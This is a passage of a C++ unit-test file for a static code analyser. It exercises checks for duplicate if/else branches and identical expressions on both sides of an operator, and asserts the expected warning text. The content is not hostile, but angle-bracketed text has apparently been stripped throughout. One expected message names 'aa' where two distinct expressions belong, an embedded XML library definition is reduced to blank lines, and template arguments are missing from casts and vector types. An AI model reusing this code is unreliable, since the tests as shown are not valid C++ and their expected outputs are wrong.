Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n 